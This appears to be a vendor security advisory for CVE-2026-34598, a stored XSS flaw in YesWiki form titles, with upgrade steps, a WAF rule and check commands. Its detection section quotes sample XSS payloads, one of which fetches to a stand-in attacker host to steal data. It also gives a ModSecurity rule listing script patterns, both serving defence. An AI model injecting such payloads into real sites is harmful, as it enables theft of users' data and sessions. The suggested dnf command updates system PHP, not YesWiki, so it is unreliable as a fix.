medium CVSS 6.1

CVE-2026-34598·PHP vulnerability

YesWiki is a wiki system written in PHP. Prior to version 4.6.0, a stored and blind XSS vulnerability exists in the form title field. A malicious attacker can inject JavaScript without any authentication via a form title that is saved in the backend database. When any user visits that injected page, the JavaScript payload gets executed. This issue has been patched in version 4.6.0.

Severity
medium
Software
PHP
Fixed in
4.6.0
Published
2026-04-02

Affected versions

Until: 4.6.0

Fixed in: 4.6.0

How to fix this CVE

YesWiki installations running versions prior to 4.6.0 contain a stored XSS vulnerability in form title fields that allows unauthenticated attackers to inject malicious scripts into the database. Upgrade YesWiki to version 4.6.0 or later to patch this vulnerability. Additionally, review any form titles created before the upgrade and sanitize user-supplied input in form handling functions.

sudo dnf update php php-common php-cli -y && sudo systemctl restart httpd

Defensia detects this vulnerability

What an exploitation attempt looks like

Sample log line indicative of exploitation attempts:

POST request to form creation/edit endpoint with title parameter containing script tags or JavaScript event handlers, e.g., `title=<script>alert('xss')</script>` or `title="onload=fetch('http://attacker.com/steal?data='` appearing in web server logs or WAF logs

WAF mitigation (if patching is not yet possible)

Add this rule to your WAF to block exploitation attempts while you schedule the patch. 

Implement ModSecurity rule to block POST requests to form-related endpoints where the title parameter contains unescaped HTML tags or event handlers: `SecRule ARGS:title "@rx (?i)(<script|javascript:|onerror=|onload=|onclick=)" "id:1000,phase:2,deny,status:403,msg:'XSS attempt in form title'`

How to check if you are affected

  1. Check YesWiki version: Run `grep -r 'version' /path/to/yeswiki/VERSION.txt` or check the admin panel under System Settings to identify if your installation is below 4.6.0
  2. Identify exposed form components: Review database tables containing form metadata (typically `yeswiki_forms` or similar) to list all forms and their title fields
  3. Search access logs for suspicious form submissions: Run `grep -i 'POST.*form' /var/log/apache2/access.log | grep -E '[<>"\']' | head -20` to identify potential XSS payload submissions
  4. Verify patch application: After upgrading, run `grep -r 'htmlspecialchars\|htmlentities' /path/to/yeswiki/ | grep -i title` to confirm output encoding is applied to form titles

FAQ

What is CVE-2026-34598?

CVE-2026-34598 is a stored cross-site scripting (XSS) vulnerability in YesWiki versions before 4.6.0 where unauthenticated users can inject malicious JavaScript code through form title fields, which then executes when other users view the page.

Is CVE-2026-34598 being actively exploited?

No, this vulnerability is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog and no public exploits are currently available.

What versions of YesWiki are affected by CVE-2026-34598?

All YesWiki versions prior to 4.6.0 are affected; version 4.6.0 and later contain the fix.

How do I check if my server is vulnerable to CVE-2026-34598?

Locate your YesWiki installation directory and check the VERSION file with `cat /path/to/yeswiki/VERSION.txt`. If the version is below 4.6.0, you are vulnerable.

Does Defensia detect CVE-2026-34598?

Yes — Defensia's CVE advisory scanner compares installed package versions against the NVD database. If YesWiki is installed on a monitored server, CVE-2026-34598 will appear in your dashboard with remediation steps.

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References

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